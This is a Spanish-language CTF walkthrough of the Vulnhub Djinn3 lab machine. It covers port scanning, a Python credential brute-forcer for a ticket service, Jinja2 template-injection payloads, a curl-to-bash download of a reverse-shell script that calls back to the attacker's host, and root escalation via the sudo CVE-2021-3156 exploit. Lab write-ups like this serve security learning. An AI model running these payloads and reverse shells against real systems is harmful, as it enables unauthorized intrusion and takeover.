Post

Djinn3 | CTF Writeup - Vulnhub

Djinn3

Iniciamos un escaneo para descubrir hosts activos con la herramienta netdiscover.

1
2
3
4
5
6
7
8
9
10
> netdiscover -r 192.168.216.0/24 -P > discover.txt
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.216.2   00:50:56:e2:11:a1      1      60  VMware, Inc.
 192.168.216.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.216.153 00:0c:29:57:bc:f8      1      60  VMware, Inc.
 192.168.216.254 00:50:56:f1:73:59      1      60  VMware, Inc.

-- Active scan completed, 4 Hosts found.

Identificamos nuestro objetivo. En mi caso, la IP de la máquina víctima es la 192.168.216.153. Exportamos a una variable de entorno este valor por comodidad con el comando export IP=192.168.216.153.

Escaneamos los puertos abiertos de esta máquina con la herramienta nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.94 scan initiated Sun Mar 10 00:40:55 2024 as: nmap -sS -p- --open -Pn -n -T5 -vvv -oN scan.txt 192.168.216.153
Nmap scan report for 192.168.216.153
Host is up, received arp-response (0.20s latency).
Scanned at 2024-03-10 00:40:55 -03 for 66s
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
5000/tcp  open  upnp    syn-ack ttl 64
31337/tcp open  Elite   syn-ack ttl 64
MAC Address: 00:0C:29:57:BC:F8 (VMware)

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Mar 10 00:42:01 2024 -- 1 IP address (1 host up) scanned in 66.55 seconds

Profundizamos nuestro escaneo empleando scripts básicos de reconocimiento propios de la herramienta nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Nmap 7.94 scan initiated Sun Mar 10 00:47:41 2024 as: nmap -sCV -p22,80,5000,31337 -oN services.txt 192.168.216.153
Nmap scan report for 192.168.216.153
Host is up (0.0016s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
|   256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_  256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp    open  http    lighttpd 1.4.45
|_http-title: Custom-ers
|_http-server-header: lighttpd/1.4.45
5000/tcp  open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: 
|     username>
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     username> password> authentication failed
|   Help: 
|     username> password>
|   RPCCheck: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
-----
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : ...
MAC Address: 00:0C:29:57:BC:F8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 10 00:48:42 2024 -- 1 IP address (1 host up) scanned in 60.81 seconds

Lanzamos el script http-enum para encontrar rutas interesantes, pero no encontramos nada.

1
2
3
4
5
6
7
8
9
10
# Nmap 7.94 scan initiated Sun Mar 10 00:50:23 2024 as: nmap --script http-enum -p80,5000 -oN http-enum.txt 192.168.216.153
Nmap scan report for mzfr.me (192.168.216.153)
Host is up (0.00077s latency).

PORT     STATE SERVICE
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 00:0C:29:57:BC:F8 (VMware)

# Nmap done at Sun Mar 10 00:50:38 2024 -- 1 IP address (1 host up) scanned in 15.15 seconds

Si analizamos la web con whatweb, podemos ver que se encuentra corriendo Python.

1.png

Vamos a intentar analizar la web que corre por el puerto 80. Es un sitio estático. Habla sobre unos ‘tickets’ y un sistema aparte, que puede ser el servicio que no reconoció nmap corriendo en el puerto 31337.

2.png

Si vamos a ver la web que corre por el puerto 5000, nos encontramos estos ‘tickets’.

3.png

4.png

Vemos una lista de posibles usuarios. Quizás tengamos que iniciar sesión con fuerza bruta por ssh. Seguimos investigando.

Si nos intentamos conectar con nc al puerto 31337 de la máquina víctima, veremos que nos pide una sesión con credenciales válidas. Para eso, desarrollamos un simple script en python que pruebe credenciales con mismo usuario y contraseña. El script es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

import socket,sys,signal
from termcolor import colored
import time 

IP='192.168.216.153'
PORT=31337

def ctrl_c(sig,frame):
    print(colored("[!] Exiting...", "red"))
    sys.exit(1);

signal.signal(signal.SIGINT,ctrl_c)

def bruteforce():
    with open("/usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt", "rb") as f:
        for username in f.readlines():
            username = username.strip();
            password = username;
            with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
                s.connect((IP,PORT));
                data = s.recv(1024);
                s.send(username + b"\n");
                data = s.recv(1024);
                s.send(password + b"\n");
                
                response = s.recv(1024);
                if(b'authentication failed' not in response):
                    print(f"[+] CREDENTIALS ARE {username}:{password}");
                    break;
                else:
                    continue;

if __name__ == '__main__':
    bruteforce();

Ejecutamos, y las credenciales válidas son las siguientes.

5.png

En caso de no haber podido, podíamos emplear Hydra o abrir el archivo rockyou.txt además de los usuarios para hacer fuerza bruta.

Este es el sistema de tickets. Bingo. Como la web está corriendo Python, seguramente con Flask, es probable que se efectúe una Server Side Template Injection.

6.png

Abrimos un ticket nuevo, y colocamos el siguiente payload: \{\{ 4 * 4 \}\}. Esto debería representar 16 en la web.

7.png

8.png

Perfecto. Ahora buscamos en PayloadAllTheThings alguna forma de inyectar comandos en esta máquina. Elegimos el siguiente payload:

` {{ self.init.globals.builtins.import(‘os’).popen(‘whoami’).read() }} `.

9.png

En la web se ve reflejado el siguiente resultado.

10.png

Ahora solo queda mandarnos una shell. Aplicamos el siguiente payload:

` {{ lipsum.globals[“os”].popen(‘curl http://192.168.216.133/revshell.sh | bash’).read() }} `

revshell.sh es un archivo que contiene el siguiente contenido:

1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.216.133/443 0>&1'

Abrimos un servidor web con python aplicando el comando python3 -m http.server 80, de esta manera hacemos que la máquina víctima haga una petición web con curl a nuestro archivo y lo interprete con bash. A su vez, nos ponemos en escucha con el comando nc -nlvp 443.

Mandamos el payload en el servicio de ticketing, y abrimos el nuevo ticket en la página.

12.png

11.png

Ganamos acceso a la máquina. Ahora, hacemos una enumeración del sistema con una herramienta como LinPEAS. Desde la consola, hacemos un curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh.

LinPEAS nos reporta que la versión de sudo es vulnerable a un Buffer Overflow basado en el Heap. Buscamos exploits para las versiones de sudo 1.8.21p, y encontramos este artículo. Buscando por exploits que nos faciliten escalar privilegios, encontré este repositorio de github: https://github.com/blasty/CVE-2021-3156. Nos traemos el repositorio a la máquina y intentamos explotar esta vulnerabilidad.

13.png

Ejecutamos el script generado.

14.png

Listo! Escalamos a root. Ahora queda ver la flag.

15.png

This post is licensed under CC BY 4.0 by the author.